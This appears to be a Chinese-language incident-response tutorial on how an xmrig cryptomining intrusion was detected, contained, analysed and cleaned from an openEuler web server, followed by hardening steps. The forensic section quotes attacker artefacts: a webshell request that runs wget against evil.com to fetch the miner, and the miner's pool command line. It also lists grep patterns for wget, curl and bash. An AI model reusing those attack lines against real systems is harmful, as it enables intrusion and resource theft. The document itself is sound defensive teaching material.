📋 事件概述
事件时间:2024年3月15日 凌晨2:30发现方式:Zabbix监控告警,服务器CPU使用率突增至98%受影响系统:openEuler 25.03 生产服务器(192.168.1.100)事件类型:挖矿木马入侵处置时长:4小时
🔍 第一阶段:事件确认(02:30-03:00)
1.1 监控告警
[Zabbix Alert]
时间:2024-03-15 02:30:15
主机:web-server-01 (192.168.1.100)
告警项:CPU usage > 95%
当前值:98.5%
持续时间:5分钟
1.2 初步登录检查
# 登录服务器,查看当前状态
ssh root@192.168.1.100
# 查看CPU使用情况
top -bn 1 | head -20
异常发现:
top - 02:35:12 up 45 days, 12:30, 1 user, load average: 15.20, 14.80, 12.50
Tasks: 225 total, 3 running, 222 sleeping, 0 stopped, 0 zombie
%Cpu(s): 98.3 us, 1.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.3 hi, 0.2 si
KiB Mem : 8012345 total, 234567 free, 4567890 used, 3209888 buff/cache
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2589 www-data 20 0 234567 12345 2345 R 98.7 0.2 1250:30 xmrig
1234 root 20 0 567890 45678 5678 S 0.3 0.6 0:01.23 nginx
关键发现:xmrig 进程占用98.7% CPU,这是门罗币挖矿程序!
🛡️ 第二阶段:隔离与保护(03:00-03:30)
2.1 网络隔离
# 立即断开外网连接,防止进一步扩散
iptables -A OUTPUT -p tcp --dport3333-j DROP
iptables -A OUTPUT -p tcp --dport4444-j DROP
iptables -A OUTPUT -p tcp --dport5555-j DROP
iptables -A OUTPUT -p tcp --dport7777-j DROP
# 保存规则
service iptables save
# 查看当前连接
netstat -antp | grep ESTABLISHED
2.2 创建系统快照
# 创建内存镜像(用于后续分析)
mkdir /tmp/incident_response
cd /tmp/incident_response
# 保存进程信息
ps aux > process_list.txt
ps -ef > process_tree.txt
top -bn 1 > top_snapshot.txt
# 保存网络连接信息
netstat -antp > network_connections.txt
ss -tunap > socket_stats.txt
lsof -i > open_files_network.txt
# 保存系统信息
uname -a > system_info.txt
cat /proc/version >> system_info.txt
df -h > disk_usage.txt
free -h > memory_usage.txt
🔬 第三阶段:取证分析(03:30-04:30)
3.1 进程分析
# 查看可疑进程详细信息
cat /proc/2589/cmdline
# 输出:./xmrig -o pool.minexmr.com:4444 -u 44h7tS4PDgM3f7t8...
# 查看进程启动时间
ls -la /proc/2589/
# dr-xr-xr-x 9 www-data www-data 0 Mar 15 01:25 .
# 查看进程环境变量
cat /proc/2589/environ | tr '\0''\n'
# 查看进程打开的文件
lsof -p2589
3.2 文件系统检查
# 查找最近修改的文件
find / -mtime-1-type f 2>/dev/null | head -20
# 查找大文件(可能包含挖矿程序)
find / -size+10M -type f 2>/dev/null | xargs ls-lh
# 查找可疑脚本
find /tmp /var/tmp /dev/shm -type f 2>/dev/null | xargs file
# 检查定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
# 检查启动项
ls -la /etc/rc.d/
chkconfig --list | grep3:on
systemctl list-unit-files --state=enabled
3.3 日志分析
# 查看SSH登录日志
grep "Accepted" /var/log/secure | tail -20
grep "Failed" /var/log/secure | tail -20
# 查看系统日志
journalctl --since "2024-03-14 00:00:00" --until "2024-03-15 03:00:00"
# 查看Web访问日志
tail -100 /var/log/nginx/access.log | grep -E "(wget|curl|bash|sh)"
# 查看历史命令
history
cat /home/*/.bash_history
cat /root/.bash_history
关键发现:
# SSH暴力破解痕迹
Mar 1423:45:12 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1423:45:15 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1423:45:18 web-server-01 sshd[2345]: Failed password for root from 185.220.101.45 port 54321 ssh2
Mar 1501:20:33 web-server-01 sshd[2456]: Accepted password for root from 185.220.101.45 port 56789 ssh2
# Web漏洞利用痕迹
192.168.1.100 -- [15/Mar/2024:01:25:10 +0800] "POST /api/upload HTTP/1.1"200123"-""python-requests/2.28.1"
192.168.1.100 -- [15/Mar/2024:01:25:15 +0800] "GET /shell.php?cmd=wget%20http://evil.com/xmrig HTTP/1.1"200456"-""Mozilla/5.0"
🧹 第四阶段:清除恶意程序(04:30-05:30)
4.1 终止恶意进程
# 终止挖矿进程
kill -9 2589
# 检查是否还有相关进程
ps aux | grep xmrig
ps aux | grep miner
ps aux | grep pool
# 查找并终止所有可疑进程
for pid in $(ps aux | grep -E "(xmrig|miner|pool)" | grep -v grep | awk '{print $2}'); do
kill -9 $pid
done
4.2 删除恶意文件
# 查找并删除挖矿程序
find / -name "*xmrig*" -type f 2>/dev/null
find / -name "*miner*" -type f 2>/dev/null
# 删除发现的恶意文件
rm -f /tmp/xmrig
rm -f /var/tmp/.hidden/xmrig
rm -f /dev/shm/miner.sh
# 清理Web shell
find /var/www/html -name "*.php" -newer /var/www/html/index.html -type f
rm -f /var/www/html/shell.php
rm -f /var/www/html/api/upload.php
4.3 清理后门和持久化
# 检查并清理定时任务
crontab -r# 清空当前用户crontab
rm -f /etc/cron.d/suspicious_job
rm -f /etc/cron.hourly/update.sh
# 检查系统服务
systemctl list-units --type=service--state=running | grep-i miner
systemctl stop suspicious-service 2>/dev/null
systemctl disable suspicious-service 2>/dev/null
# 检查启动项
rm -f /etc/rc.d/rc3.d/S99suspicious
rm -f /etc/init.d/suspicious-service
# 检查别名和后门
alias | grep -E "(wget|curl|ls|ps)"
cat /etc/profile.d/*.sh | grep-E"(wget|curl|bash)"
🔒 第五阶段:系统加固(05:30-06:00)
5.1 修改密码
# 修改所有用户密码
passwd root
passwd www-data
passwd mysql
# 强制所有用户下次登录修改密码
chage -d 0 root
chage -d 0 www-data
5.2 加固SSH
# 编辑SSH配置文件
vim /etc/ssh/sshd_config
# 修改以下配置
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
MaxAuthTries 3
ClientAliveInterval 300
ClientAliveCountMax 2
AllowUsers admin@192.168.1.*
# 重启SSH服务
systemctl restart sshd
5.3 配置防火墙
# 清除之前的临时规则
iptables -F
# 配置基础规则
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
# 允许已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 允许SSH(仅允许特定IP)
iptables -A INPUT -p tcp -s192.168.1.0/24 --dport22-j ACCEPT
# 允许HTTP/HTTPS
iptables -A INPUT -p tcp --dport80-j ACCEPT
iptables -A INPUT -p tcp --dport443-j ACCEPT
# 保存规则
service iptables save
5.4 更新系统和软件
# 更新系统补丁
yum update -y
# 更新Web应用
cd /var/www/html
git pull origin main # 如果有版本控制
# 重启相关服务
systemctl restart nginx
systemctl restart php-fpm
systemctl restart mysql
📊 第六阶段:恢复监控与验证(06:00-06:30)
6.1 验证清除效果
# 检查CPU使用率
top -bn 1 | grep "%Cpu"
# 检查网络连接
netstat -antp | grep ESTABLISHED
# 检查进程列表
ps aux | grep -E "(xmrig|miner|pool)" | grep-vgrep
# 检查定时任务
crontab -l
6.2 恢复监控
# 重启监控代理
systemctl restart zabbix-agent
# 检查监控状态
zabbix_get -s 192.168.1.100 -k system.cpu.util
# 配置告警规则
# 在Zabbix中添加CPU使用率告警
6.3 持续监控
# 设置日志监控
tail -f /var/log/secure | grep -E "(Failed|Accepted)"
# 监控网络流量
iftop -i eth0
# 监控进程变化
watch -n 5 'ps aux | grep -E "(xmrig|miner)" | grep -v grep'
📝 事件总结报告
攻击时间线
| 时间 | 事件 |
|---|
| 23:45 | 攻击者开始SSH暴力破解 |
| 01:20 | 成功破解root密码,登录系统 |
| 01:25 | 利用Web上传漏洞上传Web Shell |
| 01:30 | 下载并执行挖矿程序 |
| 02:30 | Zabbix监控告警,发现异常 |
| 03:00 | 开始应急响应,隔离网络 |
| 04:30 | 完成取证分析 |
| 05:30 | 清除恶意程序 |
| 06:00 | 完成系统加固 |
根因分析
弱密码:root密码为简单数字组合
Web漏洞:文件上传功能未做类型限制
缺乏监控:没有实时安全监控和告警
防火墙缺失:未配置有效的访问控制
改进措施
密码策略:强制使用复杂密码,定期更换
漏洞修复:修复Web上传漏洞,增加文件类型验证
安全监控:部署WAF和入侵检测系统
网络隔离:实施微隔离,限制横向移动
⚠️ 安全提醒
🚨 法律声明:本文仅供学习Linux应急响应技术,所有操作应在授权环境下进行。未经授权访问他人系统属于违法行为。